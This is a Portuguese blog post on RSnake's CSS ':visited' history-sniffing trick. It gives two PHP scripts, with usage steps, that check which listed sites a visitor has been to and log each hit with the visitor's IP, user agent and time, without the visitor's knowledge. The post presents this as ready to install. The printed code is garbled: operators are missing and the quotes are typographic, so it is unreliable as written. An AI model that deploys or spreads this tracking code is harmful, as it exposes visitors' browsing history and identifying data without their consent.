Histórico do navegador via CSS

O RSnake criou um truque muito interessante para verificar se determinados sites foram visitados por uma pessoa, usando CSS. Os sites que queremos verificar se foram acessados são inseridos como links na página, e o truque consiste em utilizar a:visited e display:. Se o site não foi acessado, será aplicado o atributo a: do CSS, que não exibe nada (display:none). Mas se o site tiver sido visitado, será aplicado a:visited, que utiliza o atributo background: para chamar um script que pode registrar o fato.

Apresento um pequeno script PHP que aplica o truque em uma página.

history_get.php

<?php
// os sites que verificaremos se estao no historico devem ficar nesse arquivo
$sites = @file(’sites.txt’);

if (! $sites )
    die;

$numsites sizeof($sites);

echo ‘<style>’;

for ($i 0$i $numsites$i++) {

    echo “#csshist a:visited span.span$i {
        display:block; 
        background: url(CSS-history.php?id={$sites[$i]});
        position:absolute; 
        top:0; 
        left:0; 
        width:0;
          }”
;
}

echo ‘#csshist a span {
        display:none;
      }

     </style>
     <div id=”csshist” align=”left”>’;

for ($i 0$i $numsites$i++) {
    echo 
“<a href=\”{$sites[$i]}\”>
            <span class=\”span$i\”></span></a>”
;
}

echo ‘</div>’;
?>

CSS-history.php

<?php
if ( isset ($_GET['id']) ) {

    $siteid      $_GET['id'];
    
    
$sites = @file_get_contents(’sites.txt’);
    
$sites split(“[\r\n]“$sites);
    
    if ( 
in_array($siteid$sites) ) {
        
$userip      $_SERVER[REMOTE_ADDR];
        
$useragent    $_SERVER[HTTP_USER_AGENT];
        
$time        date(DATE_RFC822);

        $data “TIME: $time   IP: $userip   USERAGENT: $useragent   SITE: $siteid \n”;

        @file_put_contents(‘csshistory.txt’$dataFILE_APPEND);
    }
}
?>

Uso:

  1. O arquivo sites.txt deve conter, em cada linha, um endereço a ser verificado no histórico.
  2. Inclua este código em uma página do seu site. <?php include (’history_get.php’) ?>
  3. Os endereços existentes em sites.txt que foram acessados pelo usuário serão passados para CSS-history.php, que registrará no arquivo csshistory.txt

1 Comment »

  1. ScornInPC said

    Muito interessante essa “tatica”. Estou impressionado como a criatividade veio à tona agora.

RSS feed for comments on this post · TrackBack URI

Leave a Comment